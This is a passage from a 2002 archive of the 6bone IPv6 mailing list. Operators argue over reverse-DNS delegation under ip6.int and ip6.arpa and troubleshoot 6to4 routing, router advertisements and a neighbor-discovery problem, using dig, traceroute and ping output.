ip6.arpa.		1d23h59m38s IN NS  ns.icann.org.
ip6.arpa.		1d23h59m38s IN NS  buchu.arin.net.
ip6.arpa.		1d23h59m38s IN NS  svc00.apnic.net.
ip6.arpa.		1d23h59m38s IN NS  arrowroot.arin.net.
ip6.arpa.		1d23h59m38s IN NS  ns.ripe.net.
ip6.arpa.		1d23h59m38s IN NS  ns.apnic.net.

doesn't look like a RIR to me.  Secondaries, yes.  But not the primary.

The actual handling of the individual delegations inside 3ffe::/16 could
be done the same way it's done with ip6.int now.  As I don't hold 3ffe
space, I don't know how e.f.f.3.ip6.int works right now, but it's no
*technical* problem we're talking about.

*And* the RIRs are *not* involved.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From randy@psg.com Wed Sep  4 01:32:25 2002
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Subject: Re: [6bone] Re:  ip6 conversion script
References: <200209030003.g8303fv00683@boreas.isi.edu>
	<3D744DA4.1000302@myrealbox.com>
	<E17mEs6-0001qm-00@roam.psg.com>
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>>> No need to involve RIRs here
>> who do you think has to delagate?
> $ dig ip6.arpa soa
> [..]
> ;; ANSWER SECTION:
> ip6.arpa.		23h30m IN SOA	dns1.icann.org. hostmaster.icann.org. (
> 					2002071701	; serial
> 					1H		; refresh
> 					30M		; retry
> 					1W		; expiry
> 					3H )		; minimum
> ...
> doesn't look like a RIR to me.  Secondaries, yes.  But not the primary.

aside from luis touton's usual attemted micro-management of the entire
internet, i suspect that the next level of delegations are to the RIRs,
who delegate to LIRs, and so forth.  just as in v4.

randy


From gert@Space.Net Wed Sep  4 07:01:32 2002
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From: Gert Doering <gert@space.net>
To: Randy Bush <randy@psg.com>
Cc: Gert Doering <gert@space.net>, "Aaron J. Angel" <aangel@myrealbox.com>,
   Bill Manning <bmanning@ISI.EDU>, 6bone@mailman.isi.edu
Subject: Re: [6bone] Re:  ip6 conversion script
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Hi,

On Wed, Sep 04, 2002 at 01:32:19AM -0700, Randy Bush wrote:
> >>> No need to involve RIRs here
> >> who do you think has to delagate?
> > $ dig ip6.arpa soa
> > [..]
> > ;; ANSWER SECTION:
> > ip6.arpa.		23h30m IN SOA	dns1.icann.org. hostmaster.icann.org. (
> > 					2002071701	; serial
> > 					1H		; refresh
> > 					30M		; retry
> > 					1W		; expiry
> > 					3H )		; minimum
> > ...
> > doesn't look like a RIR to me.  Secondaries, yes.  But not the primary.
> 
> aside from luis touton's usual attemted micro-management of the entire
> internet, i suspect that the next level of delegations are to the RIRs,
> who delegate to LIRs, and so forth.  just as in v4.

Why?

Why not delegate to

$ dig e.f.f.3.ip6.int soa / ns

;; ANSWER SECTION:
e.f.f.3.ip6.int.	1D IN SOA	dot.ep.net. hostmaster.ep.net. (
					2002080100	; serial
					3H		; refresh
					15M		; retry
					1W		; expiry
					1d12h )		; minimum

;; ANSWER SECTION:
e.f.f.3.ip6.int.	23h59m46s IN NS  ns3.nic.fr.
e.f.f.3.ip6.int.	23h59m46s IN NS  flag.ep.net.
e.f.f.3.ip6.int.	23h59m46s IN NS  imag.imag.fr.
e.f.f.3.ip6.int.	23h59m46s IN NS  munnari.oz.au.
e.f.f.3.ip6.int.	23h59m46s IN NS  y.ip6.int.
e.f.f.3.ip6.int.	23h59m46s IN NS  z.ip6.int.


From my outsider's point of view, those people are perfectly capable
(and I'd expect them to be willing too) to manage the reverse domain.

I see all of this as harmful political child games.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bmanning@ISI.EDU Wed Sep  4 12:12:40 2002
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Subject: Re: [6bone] Re:  ip6 conversion script
In-Reply-To: <3D744DA4.1000302@myrealbox.com> from "Aaron J. Angel" at "Sep 3, 2 00:50:28 am"
To: aangel@myrealbox.com (Aaron J. Angel)
Date: Wed, 4 Sep 2002 12:12:32 -0700 (PDT)
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% Bill Manning wrote:
% > 	ip6.int - the original anchor for v6 space. All delegations
% > 		can be found here.
% 
% Add: deprecated in favor of ip6.arpa.
% 
% > 	ip6.arpa - the more recent anchor for v6 space. Some delegations
% > 		can be found here. Some v6 delegations will never be
% > 		found here.
% 
% What makes you think some delegations will never be found here?
% 

	the disconnect between the addressing architecture and
	RFC 3152, section 3. (noting that there is this real thread
	of replies... perhaps I should read them first :)


-- 
--bill

From bmanning@ISI.EDU Wed Sep  4 12:16:03 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re:  ip6 conversion script
In-Reply-To: <20020903094024.Z27015@Space.Net> from Gert Doering at "Sep 3, 2 09:40:24 am"
To: gert@space.net (Gert Doering)
Date: Wed, 4 Sep 2002 12:15:08 -0700 (PDT)
Cc: bmanning@ISI.EDU, daniel@unix.za.net, pasky@pasky.ji.cz, tony@lava.net,
   sam@dhs.org, 6bone@ISI.EDU
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% hi,
% 
% On Mon, Sep 02, 2002 at 05:03:41PM -0700, Bill Manning wrote:
% > 	ip6.arpa - the more recent anchor for v6 space. Some delegations
% > 		can be found here. Some v6 delegations will never be
% > 		found here.
% 
% Why?
% 
% I know that *today*, 3ffe isn't delegated under ip6.arpa, but besides
% political bickering, I see no reason why this can't be fixed in the future.
% 
% Having two reverse domains, one of them "official" and the other one
% "complete" sucks big time.

	Yes, but what can be done?  The address architecture doc
	calls out a number of distinct methods of creating v6
	addresses.  RFC 3152 section 3, kind of prohibits adding 
	some of those things to ip6.arpa.


% 
% Gert Doering
%         -- NetMaster
% -- 

-- 
--bill

From bmanning@ISI.EDU Wed Sep  4 12:19:53 2002
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Subject: Re: [6bone] Re:  ip6 conversion script
In-Reply-To: <E17mEs6-0001qm-00@roam.psg.com> from Randy Bush at "Sep 3, 2 07:41:38 am"
To: randy@psg.com (Randy Bush)
Date: Wed, 4 Sep 2002 12:19:47 -0700 (PDT)
Cc: aangel@myrealbox.com, bmanning@ISI.EDU, 6bone@ISI.EDU
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% >> 	ip6.arpa - the more recent anchor for v6 space. Some delegations
% >> 		can be found here. Some v6 delegations will never be
% >> 		found here.
% > What makes you think some delegations will never be found here?
% 
% when ip6.int is removed in less than two years, they won't be found
% at all.  in american we have an expression "to cut one's nose off
% to spite one's face."
% 
% randy

	My reading of RFC 3152 indicates "phased out in an orderly
	fashion", not an arbitrary date that someone pulls from thin air.
	I would hope that all the vested parties, including the 
	maintainer of the existing delegation were involved in 
	discussions on how such an event would take place.
	
--bill

From bmanning@ISI.EDU Wed Sep  4 12:22:17 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200209041922.g84JM5J18264@boreas.isi.edu>
Subject: Re: [6bone] Re:  ip6 conversion script
In-Reply-To: <20020904102203.T27015@Space.Net> from Gert Doering at "Sep 4, 2 10:22:03 am"
To: gert@space.net (Gert Doering)
Date: Wed, 4 Sep 2002 12:22:05 -0700 (PDT)
Cc: randy@psg.com, gert@space.net, aangel@myrealbox.com, bmanning@ISI.EDU,
   6bone@ISI.EDU
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	So, should I ask the IANA to make the entries for e.f.f.3.ip6.arpa
	to the same servers as e.f.f.3.ip6.int?



% Hi,
% 
% On Tue, Sep 03, 2002 at 12:37:01PM -0700, Randy Bush wrote:
% > >>> this still doesn't answer the question *why* those delegations are not 
% > >>> visible under ip6.arpa.
% > >> ask your local RIR
% > > What's wrong with delegating e.f.f.3.ip6.arpa to the same set of servers
% > > that hold e.f.f.3.ip6.int?
% > nothing that comes to mind right off
% 
% So why do you expect those delegations to be never visible under ip6.int?
% 
% > > No need to involve RIRs here
% > who do you think has to delagate?
% 
% $ dig ip6.arpa soa
% [..]
% ;; ANSWER SECTION:
% ip6.arpa.		23h30m IN SOA	dns1.icann.org. hostmaster.icann.org. (
% 					2002071701	; serial
% 					1H		; refresh
% 					30M		; retry
% 					1W		; expiry
% 					3H )		; minimum
% ;; ANSWER SECTION:
% ip6.arpa.		1d23h59m38s IN NS  ns.icann.org.
% ip6.arpa.		1d23h59m38s IN NS  buchu.arin.net.
% ip6.arpa.		1d23h59m38s IN NS  svc00.apnic.net.
% ip6.arpa.		1d23h59m38s IN NS  arrowroot.arin.net.
% ip6.arpa.		1d23h59m38s IN NS  ns.ripe.net.
% ip6.arpa.		1d23h59m38s IN NS  ns.apnic.net.
% 
% doesn't look like a RIR to me.  Secondaries, yes.  But not the primary.
% 
% The actual handling of the individual delegations inside 3ffe::/16 could
% be done the same way it's done with ip6.int now.  As I don't hold 3ffe
% space, I don't know how e.f.f.3.ip6.int works right now, but it's no
% *technical* problem we're talking about.
% 
% *And* the RIRs are *not* involved.
% 
% Gert Doering
%         -- NetMaster
% -- 
% Total number of prefixes smaller than registry allocations:  46812 (46611)
% 
% SpaceNet AG                 Mail: netmaster@Space.Net
% Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
% 80807 Muenchen              Fax : +49-89-32356-299
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From gert@Space.Net Wed Sep  4 13:14:51 2002
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From: Gert Doering <gert@space.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: Gert Doering <gert@space.net>, daniel@unix.za.net, pasky@pasky.ji.cz,
   tony@lava.net, sam@dhs.org, 6bone@ISI.EDU
Subject: Re: [6bone] Re:  ip6 conversion script
Message-ID: <20020904221446.D27015@Space.Net>
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Hi

On Wed, Sep 04, 2002 at 12:15:08PM -0700, Bill Manning wrote:
> % I know that *today*, 3ffe isn't delegated under ip6.arpa, but besides
> % political bickering, I see no reason why this can't be fixed in the future.
> % 
> % Having two reverse domains, one of them "official" and the other one
> % "complete" sucks big time.
> 
> 	Yes, but what can be done?  The address architecture doc
> 	calls out a number of distinct methods of creating v6
> 	addresses.  RFC 3152 section 3, kind of prohibits adding 
> 	some of those things to ip6.arpa.

In a way, yes.

Seen some other way, there is a "6bone registry", which could be seen
as a perfectly fine (special case) RIR on its own.  The "region" it's 
serving is "the 6bone".  The RFC doesn't enumerate the RIRs it's talking 
about, nor does it define "regional IP registry" in any specific way.

I am repeating myself here: this is political nonsense.

Let's fix the technical issues.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Wed Sep  4 13:21:33 2002
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From: Gert Doering <gert@space.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: Gert Doering <gert@space.net>, randy@psg.com, aangel@myrealbox.com,
   6bone@ISI.EDU
Subject: Re: [6bone] Re:  ip6 conversion script
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Hi,

On Wed, Sep 04, 2002 at 12:22:05PM -0700, Bill Manning wrote:
> 	So, should I ask the IANA to make the entries for e.f.f.3.ip6.arpa
> 	to the same servers as e.f.f.3.ip6.int?

If you ask *me*, I'd say *yes*, please do so.

(On the other hand I'm just a big-mouthed network operator sitting in a
faraway country who doesn't know anything about the political struggles
behind the scenes...)

I find this hole ip6.int/ip6.arpa issue distasteful, but as long as
people are using 3ffe space - which might go on for quite a while - 
it really should be possible to get a working reverse DNS using the
same officially sanctioned mechanisms as for 2001 space.  Otherwise 
implementations will go on querying ip6.int (or both reverse trees) 
forever.

If reverse DNS is officially declared dead altogether, so be it - but 
until that, please apply the same rules to all kinds of address space 
that are still in "normal" use.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From abdul_rouf@rediffmail.com Wed Sep  4 23:09:29 2002
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Hi all,

Could anybody give me a pointer to any link or doc so that cud 
help me in preparing presentation starting from technical case, 
Efforts and time required,cost incurred to migrate applications 
like mail, proxy, DNS, DHCP and deployment methods for a 
small/medium/large enterprise as well ISPs.

TIA

Regards,Abdul Rouf

From jordi.palet@consulintel.es Thu Sep  5 15:42:27 2002
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Subject: Re: [6bone] 6bone pTLA 3FFE:4011::/32 allocated to EURO6IX
Date: Fri, 6 Sep 2002 00:45:42 +0200
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Dear all,

As I already commented in the last weeks, this pTLA is being used by the Euro6IX project during next 2.5 years.

There is a 1st deliverable that I will like to expose to the 6Bone community, with includes the project preliminary vision about our
IPv6 IX concept.

This document is D2.1 (Specification of the internal network architecture of each IX). Please visit www.euro6ix.org (see section
documents and then deliverables). Other documents, specially several presentations about the project work are available at the
presentations and general sections (also inside documents). You will need to register, so we can keep you updated with any progress
and new documents released by the project.

As Bob indicated, I will be very happy to report our work, issues, and impatient to get your feedback that I hope will be helpful to
the Internet community in our evolution to IPv6.

So, please, let me know your thoughts !

Regards,
Jordi

----- Original Message -----
From: "Bob Fink" <fink@es.net>
To: "6BONE List" <6bone@mailman.isi.edu>
Cc: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>; "6bone reverse DNS registration" <hostmaster@ep.net>
Sent: Tuesday, September 03, 2002 5:14 PM
Subject: [6bone] 6bone pTLA 3FFE:4011::/32 allocated to EURO6IX


> EURO6IX has been allocated pTLA 3FFE:4011::/32 having finished its 2-week
> review period. This pTLA is allocated specifically for the first attempt to
> try the new type of exchange-based aggregation talked about in RFC2374, "An
> IPv6 Aggregatable Global Unicast Address Format".
>
> I would appreciate seeing a report in one year detailing the lessons
> learned about exchange-based aggregation so that the IPv6 operational
> community can benefit.
>
> Note that it will take a short while for a EURO6IX IPv6-site and pTLA
> inet6num entry to appear in the 6bone registry as they have yet to be
> created. However, the pTLA registration is listed on:
>
>    <http://www.6bone.net/6bone_pTLA_list.html>
>
>
> [To create a reverse DNS registration for pTLAs, please send the prefix
> allocated above, and a list of at least two authoritative nameservers, to
> hostmaster@ep.net.]
>
>
> Thanks,
>
> Bob
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From nicolas.deffayet@ndsoftware.net Fri Sep  6 12:59:20 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: 6bone@ISI.EDU
Cc: david@iprg.nokia.com, fink@es.net
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Hello,

The 6bone whois snapshot (ftp://whois.6bone.net/6bone/6bone.db.gz) is
not updated since 20020827.

A lot of tools use this snapshot: ASpath-tree, pinger6, UK IPv6 Resource
Centre,...

It's possible to fix this ?

Best regards,

Nicolas DEFFAYET


From nsayer@kfu.com Tue Sep 10 16:07:29 2002
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Subject: [6bone] Problems with routing from 6to4?
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When I try and get home from a 6to4 site, I get this...

Tracing route to quack.kfu.com [3ffe:1200:301b:0:2d0:b7ff:febe:e2a8]
from 2002:[blah blah] over a maximum of 30 hops:

  1       <1 ms    <1 ms    <1 ms  2002:[blah blah]
  2      216 ms   219 ms   218 ms  2001:620:0:38::2
  3      279 ms   210 ms   203 ms  3ffe:4006:0:3::11
  4      209 ms   218 ms   206 ms  3ffe:4005:0:1::15
  5      234 ms   224 ms   228 ms  3ffe:4005:0:1::17
  6     3ffe:4005:0:1::17 reports: No route to destination.

Trace complete.

I find no whois data for 3ffe:4005.

Is it just me? (if this has been discussed recently, I may have missed 
it as I had some subscription trouble)



From nicolas.deffayet@ndsoftware.net Tue Sep 10 17:15:14 2002
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Subject: Re: [6bone] Problems with routing from 6to4?
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Nick Sayer <nsayer@quack.kfu.com>
Cc: 6bone@ISI.EDU
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On Wed, 2002-09-11 at 01:05, Nick Sayer wrote: 
> 
> When I try and get home from a 6to4 site, I get this...
> 
> Tracing route to quack.kfu.com [3ffe:1200:301b:0:2d0:b7ff:febe:e2a8]
> from 2002:[blah blah] over a maximum of 30 hops:
> 
>   1       <1 ms    <1 ms    <1 ms  2002:[blah blah]
>   2      216 ms   219 ms   218 ms  2001:620:0:38::2
>   3      279 ms   210 ms   203 ms  3ffe:4006:0:3::11
>   4      209 ms   218 ms   206 ms  3ffe:4005:0:1::15
>   5      234 ms   224 ms   228 ms  3ffe:4005:0:1::17
>   6     3ffe:4005:0:1::17 reports: No route to destination.
> 
> Trace complete.

traceroute to 2002:: (2002::) from 3ffe:81f1:21:1::5, 30 hops max, 16
byte packets
 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.457 ms 
0.159 ms  0.133 ms
 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.025 ms 
0.987 ms  0.981 ms
 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  67.971 ms 
69.796 ms  70.712 ms
 4  v6-tunnel25-uk6x.ipv6.btexact.com (2001:7f8:2:c01d::2)  85.815 ms 
80.597 ms  83.075 ms
 5  leanet-core-ips-a2-0-2.ipv6.btexact.com (2001:618:1::2)  84.434 ms 
85.273 ms  84.442 ms
 6  * * *


> 
> I find no whois data for 3ffe:4005.

inet6num:     3FFE:4005::/32 
netname:      KEWLIO 

> 
> Is it just me? (if this has been discussed recently, I may have missed 
> it as I had some subscription trouble)
> 

For me 6to4 workfine.
Ask Kewlio for check routing of 2002::/16.

Best Regards,

Nicolas DEFFAYET
http://noc.ndsoftwarenet.com
#nocpeople @ IRCnet


From itojun@itojun.org Tue Sep 10 17:55:41 2002
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Subject: Re: [6bone] Problems with routing from 6to4? 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Wed, 11 Sep 2002 09:55:29 +0900
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>I find no whois data for 3ffe:4005.

	whois -h whois.6bone.net 3ffe:4005::/32

itojun

From daniel@kewlio.net Wed Sep 11 02:09:07 2002
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Subject: Re: [6bone] Problems with routing from 6to4?
Date: Wed, 11 Sep 2002 10:09:03 +0100
Organization: kewlio.net Limited
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Hi Nick,

3ffe:4005::/32 = Kewlio.net Limited.

periodically, my peering to AS33 stops working - it's a problem i'm
looking at.
I've reset the peering and it should route again now.

Sorry for the inconvenience!


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


- ----- Original Message ----- 
From: "Nick Sayer" <nsayer@quack.kfu.com>
To: <6bone@ISI.EDU>
Sent: Wednesday, September 11, 2002 12:05 AM
Subject: [6bone] Problems with routing from 6to4?


> 
> When I try and get home from a 6to4 site, I get this...
> 
> Tracing route to quack.kfu.com
> [3ffe:1200:301b:0:2d0:b7ff:febe:e2a8] from 2002:[blah blah] over a
> maximum of 30 hops:
> 
>   1       <1 ms    <1 ms    <1 ms  2002:[blah blah]
>   2      216 ms   219 ms   218 ms  2001:620:0:38::2
>   3      279 ms   210 ms   203 ms  3ffe:4006:0:3::11
>   4      209 ms   218 ms   206 ms  3ffe:4005:0:1::15
>   5      234 ms   224 ms   228 ms  3ffe:4005:0:1::17
>   6     3ffe:4005:0:1::17 reports: No route to destination.
> 
> Trace complete.
> 
> I find no whois data for 3ffe:4005.
> 
> Is it just me? (if this has been discussed recently, I may have
> missed  it as I had some subscription trouble)
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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From dbt@meat.net Wed Sep 11 02:47:58 2002
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Date: Wed, 11 Sep 2002 02:47:55 -0700
From: David Terrell <dbt@meat.net>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re:  ip6 conversion script
Message-ID: <20020911094755.GA16026@pianosa.catch22.org>
Reply-To: David Terrell <dbt@meat.net>
References: <20020903094024.Z27015@Space.Net> <200209041915.g84JF8509778@boreas.isi.edu>
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On Wed, Sep 04, 2002 at 12:15:08PM -0700, Bill Manning wrote:
> 	Yes, but what can be done?  The address architecture doc
> 	calls out a number of distinct methods of creating v6
> 	addresses.  RFC 3152 section 3, kind of prohibits adding 
> 	some of those things to ip6.arpa.

Are you sure you shouldn't be bickering with the IAB?  Reread that
first sentence. :)

Hmm, "single point of contact".

3. IANA Considerations

   This memo requests that the IANA delegate the IP6.ARPA domain
   following instructions to be provided by the IAB.  Names within this
   zone are to be further delegated to the regional IP registries in
   accordance with the delegation of IPv6 address space to those
   registries.  The names allocated should be hierarchic in accordance
   with the address space assignment.


-- 
David Terrell            | "When we said that you needed to cut the
dbt@meat.net             | wires for ultimate security, we didn't
Nebcorp Prime Minister   | mean that you should go wireless instead."
http://wwn.nebcorp.com/  |   - Casper Dik

From bmanning@ISI.EDU Wed Sep 11 03:50:01 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200209111049.g8BAnoV26148@boreas.isi.edu>
Subject: Re: [6bone] Re:  ip6 conversion script
In-Reply-To: <20020911094755.GA16026@pianosa.catch22.org> from David Terrell at "Sep 11, 2 02:47:55 am"
To: dbt@meat.net
Date: Wed, 11 Sep 2002 03:49:49 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% On Wed, Sep 04, 2002 at 12:15:08PM -0700, Bill Manning wrote:
% > 	Yes, but what can be done?  The address architecture doc
% > 	calls out a number of distinct methods of creating v6
% > 	addresses.  RFC 3152 section 3, kind of prohibits adding 
% > 	some of those things to ip6.arpa.
% 
% Are you sure you shouldn't be bickering with the IAB?  Reread that
% first sentence. :)
% 
% Hmm, "single point of contact".
% 
% 3. IANA Considerations
% 
%    This memo requests that the IANA delegate the IP6.ARPA domain
%    following instructions to be provided by the IAB.  Names within this
%    zone are to be further delegated to the regional IP registries in
%    accordance with the delegation of IPv6 address space to those
%    registries.  The names allocated should be hierarchic in accordance
%    with the address space assignment.
% -- 
% David Terrell            | "When we said that you needed to cut the

	Yup, pretty sure. The IAB has mgmt of .ARPA and have, per
	RFC 3152 delegated mgmt of IP6.ARPA to the RIRs. 

-- 
--bill

From simon@limmat.switch.ch Wed Sep 11 05:17:38 2002
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To: Nick Sayer <nsayer@quack.kfu.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Problems with routing from 6to4?
References: <3D7E7AAC.2050402@kfu.com>
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Nick,

the meta-answer is that DNS is your friend - you should use a
traceroute that resolves IPv6 addresses into hostnames.
It really makes debugging easier!

On Tue, 10 Sep 2002 16:05:16 -0700, Nick Sayer <nsayer@quack.kfu.com> said:
> When I try and get home from a 6to4 site, I get this...

> Tracing route to quack.kfu.com [3ffe:1200:301b:0:2d0:b7ff:febe:e2a8]
> from 2002:[blah blah] over a maximum of 30 hops:

>   1       <1 ms    <1 ms    <1 ms  2002:[blah blah]
>   2      216 ms   219 ms   218 ms  2001:620:0:38::2

That's "swi6T1-T22.switch.ch", so you seem to be using us (SWITCH) as
the (anycast) 6to4 relay.

>   3      279 ms   210 ms   203 ms  3ffe:4006:0:3::11
                                     ^^^^^^^^^^^^^^^^^
That's "freestone-upctech.tun.ipv6.as8758.net"

>   4      209 ms   218 ms   206 ms  3ffe:4005:0:1::15

That's "london1-manchester1-gw.ipv6.kewlio.net"

>   5      234 ms   224 ms   228 ms  3ffe:4005:0:1::17

That's "london1-manchester2-gw.ipv6.kewlio.net"

>   6     3ffe:4005:0:1::17 reports: No route to destination.

> Trace complete.

> I find no whois data for 3ffe:4005.

I don't know the root of the problem, but apparently KEWLIO announced
3ffe:1200::/24 to AS8758 and AS8758 announced it on to us, but when
your packets got to KEWLIO, they were dropped.  Maybe KEWLIO expects
to have a more specific route to you, or their tunnel to DIGITAL-CA
(your pTLA) had a problem.

Right now we do have a good route to DIGITAL-CA and to you:

$ traceroute 3ffe:1200:301b:0:2d0:b7ff:febe:e2a8
traceroute: Warning: Multiple interfaces found; using 3ffe:2000:0:4:a00:20ff:fea2:f7f @ hme0:3
traceroute to 3ffe:1200:301b:0:2d0:b7ff:febe:e2a8, 30 hops max, 60 byte packets
 1  swiCS1-F2-0-0.ipv6.switch.ch (3ffe:2000:0:4:2e0:8fff:fe6e:7c40)  1.341 ms  1.368 ms  0.985 ms
 2  swi6T1-F0-1.switch.ch (2001:620:0:20::6)  1.794 ms  3.428 ms  1.519 ms
 3  chello-swi6T1.ipv6.switch.ch (3ffe:2000:0:40f::1aae)  49.611 ms  51.774 ms  61.456 ms
 4  chello-gw1.ipv6.edisontel.it (2001:730::1:f)  83.878 ms  83.952 ms  83.117 ms
 5  digital-ca-tunnel.ipv6.cisco.com (3ffe:c00:8023:13::2)  233.502 ms  233.787 ms *
 6  quack.kfu.com (3ffe:1200:301b:0:2d0:b7ff:febe:e2a8)  266.017 ms  259.967 ms  261.368 ms

Does the route from 6to4 work for you now?
-- 
Simon.

From kni501ss@optushome.com.au Wed Sep 11 06:08:37 2002
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Hi all.
I have the following setup:

            to ISP (using dhcp client)
            /
          /          To freenet6 (with configured account)
        /          /
    rl0    gif0
      |        |     (tspc)
    -----------
    |            |  (openbsd 3.1)
    |            |
    -----------
          |    (dhcpd ipv4)
        dc0        (lan side)
          |
          |
          |------ [ linux box ]  (Debian)
          |
          |
          |-------[ other os box ]

How do I give a 'real' IPV6 address to the linux box ?

Cheers,
Marco


From pim@ipng.nl Wed Sep 11 06:44:32 2002
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From: Pim van Pelt <pim@ipng.nl>
To: kni501ss <kni501ss@optushome.com.au>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] client/gw config
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Hoi,

man rtadvd  (on your OpenBSD router box)

For Linux, check /proc/sys/net/ipv6/conf/default/, make sure accept_ra
is '1', which it always is on Linux. Other (smarter) OSes do not
automatically accept router advertisements (that your openbsd 3.1 box
will be generating). 

See also the 'net.inet6.ip6.accept_rtadv' on BSD boxes.

groet,
Pim

On Wed, Sep 11, 2002 at 11:08:34PM +1000, kni501ss wrote:
| Hi all.
| I have the following setup:
| 
|            to ISP (using dhcp client)
|            /
|          /          To freenet6 (with configured account)
|        /          /
|    rl0    gif0
|      |        |     (tspc)
|    -----------
|    |            |  (openbsd 3.1)
|    |            |
|    -----------
|          |    (dhcpd ipv4)
|        dc0        (lan side)
|          |
|          |
|          |------ [ linux box ]  (Debian)
|          |
|          |
|          |-------[ other os box ]
| 
| How do I give a 'real' IPV6 address to the linux box ?
| 
| Cheers,
| Marco
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From md@Linux.IT Wed Sep 11 08:16:20 2002
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Date: Wed, 11 Sep 2002 11:58:38 +0200
From: "Marco d'Itri" <md+6bone@Linux.IT>
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[HE.NET tech-c Cc:ed in the hope they can explain this.

My formmail.pl honeypot just received a posting attempt[1] from a he.net
IPv6 address:

3ffe:81d0:ffff::3 - - [11/Sep/2002:11:16:05 +0200] "POST /cgi-bin/formmail.pl HTTP/1.0" 200 1394 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; AIRF; .NET CLR 1.0.3705)"

ipv6.he.net             AAAA    3FFE:81D0:FFFF:0:0:0:0:3


Has anybody else seen similar things happening over IPv6 yet?

[1] Not a probe or the result of something legitimate, the POST payload
was part of a spam run for a gay porn site which is being sent from many
IPv4 open proxies.
-- 
ciao,
Marco

From lists.fcu@no-way.org Wed Sep 11 08:58:33 2002
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From: Flavio Curti <lists.fcu@no-way.org>
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hi

hope nobody minds me asking this in the 6bone list, but i'm running out
of lists where i can ask (tried debian-ipv6, snap-users, openbsd-ipv6,
openbsd-misc, usagi). hope somebody has an idea!

i want to setup the following:

3ffe:2029:8400:0:1::1 - openbsd 3.1-stable router (i386)
                          xl0 3ffe:2029:8400:0:1::1
                          xl1 no addresses
                          bridge0 - xl0 and xl1
the linux, linuxusagi and the netbsd machines are connected to a hub,
which is connected to xl1.

\--- 3ffe:2029:8400:0:1::2 - linux usagi 2.2.19 box (i386)
\--- 3ffe:2029:8400:0:1::3 - normal linux 2.2.19 box (i386)
\--- 3ffe:2029:8400:0:1::4 - netbsd 1.5 (alpha)

when i try to ping6 the gateway from the linux boxes it fails. (host
unreachable):
--(linux2219usagi: $:~)-- ping6 3ffe:2029:8400:0:1::1
PING 3ffe:2029:8400:0:1::1(3ffe:2029:8400:0:1::1) from \
  3ffe:2029:8400:0:1::2 : 56 data bytes
From 3ffe:2029:8400:0:1::2 icmp_seq=3 Destination unreachable: Address \
  unreachable

--(linux2219usagi: $:~)-- ip -6 neigh
--(linux2219usagi: $:~)-- 

(the same from the linux2219 box.)
and the same from the netbsd box.
however as soon as i ping the linux box from the openbsd box:

--(openbsd: $:~)-- ping6 3ffe:2029:8400:0:1::2
PING6(56=40+8+8 bytes) 3ffe:2029:8400:0:1::1 --> 3ffe:2029:8400:0:1::2
16 bytes from 3ffe:2029:8400:0:1::2, icmp_seq=5 hlim=64 time=27.794 ms
16 bytes from 3ffe:2029:8400:0:1::2, icmp_seq=8 hlim=64 time=7.178 ms
--- 3ffe:2029:8400:0:1::2 ping6 statistics ---
9 packets transmitted, 6 packets received, 33% packet loss
round-trip min/avg/max/std-dev = 2.870/517.059/2028.869/771.456 ms

it makes the entries just fine and i can ping the other way around fine:
--(linux2219usagi: $:~)-- ip -6 neigh
3ffe:2029:8400:0:1::1 dev eth0 lladdr 00:50:da:84:bf:49 router nud stale
fe80::250:daff:fe84:bf49 dev eth0 lladdr 00:50:da:84:bf:49 nud stale

i did a tcpdump on the openbsd box, showing the linux2219usagi box
trying to ping the openbsd box:
--($:~)-- tcpdump -i xl0 -n proto ipv6-icmp
tcpdump: listening on xl0
